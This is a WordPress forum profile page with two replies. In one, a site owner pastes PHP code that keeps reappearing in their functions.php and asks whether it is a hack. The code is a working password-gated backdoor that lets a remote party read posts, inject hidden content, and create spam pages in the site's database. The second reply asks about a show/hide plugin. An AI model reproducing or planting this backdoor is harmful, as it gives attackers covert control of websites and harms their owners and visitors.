jimmyNames
Forum Replies Created
Viewing 2 replies - 1 through 2 (of 2 total)
-
Hey guys 😀
thanks for responding!Managed to get rid of the error message..
However – i might add this as another question but my search results aren’t pulling anything up re some code that keeps getting added to my functions.php >:`(
<?php + +if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '3ae8b461d9a1ef5ee74898ddaf1e1356')) + { + switch ($_REQUEST['action']) + { + case 'get_all_links'; + foreach ($wpdb->get_results('SELECT * FROM <code>' . $wpdb->prefix . 'posts</code> WHERE <code>post_status</code> = "publish" AND <code>post_type</code> = "post" ORDER BY <code>ID</code> DESC', ARRAY_A) as $data) + { + $data['code'] = ''; + + if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_)) + { + $data['code'] = $_[1]; + } + + print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n"; + } + break; + + case 'set_id_links'; + if (isset($_REQUEST['data'])) + { + $data = $wpdb -> get_row('SELECT <code>post_content</code> FROM <code>' . $wpdb->prefix . 'posts</code> WHERE <code>ID</code> = "'.esc_sql($_REQUEST['id']).'"'); + + $post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content); + if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>'; + + if ($wpdb->query('UPDATE <code>' . $wpdb->prefix . 'posts</code> SET <code>post_content</code> = "' . esc_sql($post_content) . '" WHERE <code>ID</code> = "' . esc_sql($_REQUEST['id']) . '"') !== false) + { + print "true"; + } + } + break; + + case 'create_page'; + if (isset($_REQUEST['remove_page'])) + { + if ($wpdb -> query('DELETE FROM <code>' . $wpdb->prefix . 'datalist</code> WHERE <code>url</code> = "/'.esc_sql($_REQUEST['url']).'"')) + { + print "true"; + } + } + elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content'])) + { + if ($wpdb -> query('INSERT INTO <code>' . $wpdb->prefix . 'datalist</code> SET <code>url</code> = "/'.esc_sql($_REQUEST['url']).'", <code>title</code> = "'.esc_sql($_REQUEST['title']).'", <code>keywords</code> = "'.esc_sql($_REQUEST['keywords']).'", <code>description</code> = "'.esc_sql($_REQUEST['description']).'", <code>content</code> = "'.esc_sql($_REQUEST['content']).'", <code>full_content</code> = "'.esc_sql($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE <code>title</code> = "'.esc_sql($_REQUEST['title']).'", <code>keywords</code> = "'.esc_sql($_REQUEST['keywords']).'", <code>description</code> = "'.esc_sql($_REQUEST['description']).'", <code>content</code> = "'.esc_sql(urldecode($_REQUEST['content'])).'", <code>full_content</code> = "'.esc_sql($_REQUEST['full_content']).'"')) + { + print "true"; + } + } + break; + + default: print "ERROR_WP_ACTION WP_URL_CD"; + } + + die(""); + } + + +if ( $wpdb->get_var('SELECT count(*) FROM <code>' . $wpdb->prefix . 'datalist</code> WHERE <code>url</code> = "'.esc_sql( $_SERVER['REQUEST_URI'] ).'"') == '1' ) + { + $data = $wpdb -> get_row('SELECT * FROM <code>' . $wpdb->prefix . 'datalist</code> WHERE <code>url</code> = "'.esc_sql($_SERVER['REQUEST_URI']).'"'); + if ($data -> full_content) + { + print stripslashes($data -> content); + } + else + { + print '<!DOCTYPE html>'; + print '<html '; + language_attributes(); + print ' class="no-js">'; + print '<head>'; + print '<title>'.stripslashes($data -> title).'</title>'; + print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />'; + print '<meta name="Description" content="'.stripslashes($data -> description).'" />'; + print '<meta name="robots" content="index, follow" />'; + print '<meta charset="'; + bloginfo( 'charset' ); + print '" />'; + print '<meta name="viewport" content="width=device-width">'; + print '<link rel="profile" href="http://gmpg.org/xfn/11">'; + print '<link rel="pingback" href="'; + bloginfo( 'pingback_url' ); + print '">'; + wp_head(); + print '</head>'; + print '<body>'; + print '<div id="content" class="site-content">'; + print stripslashes($data -> content); + get_search_form(); + get_sidebar(); + get_footer(); + } + + exit; + } + + +?><?phpI believe this is what was causing issue re OP as WP Database error .. etc is in this code also..
Any idea how to resolve this ‘hack’ (is it a hack?)
Kr
J- This reply was modified 9 years, 2 months ago by jimmyNames.
Forum: Plugins
In reply to: [WP-ShowHide] Can I use this to toggle other plugins?Hi Lester,
Thanks for the speedy response – I’m wondering where would I input your above suggested code?
The plugin just appears upon activating so I’m assuming I can’t use this plugin for this? Are you aware of any other toggle/show//hide plugins that might be able to do so? Or could I (and if so where?) would I write pure code to do so?
Thanks in advance,
J
Viewing 2 replies - 1 through 2 (of 2 total)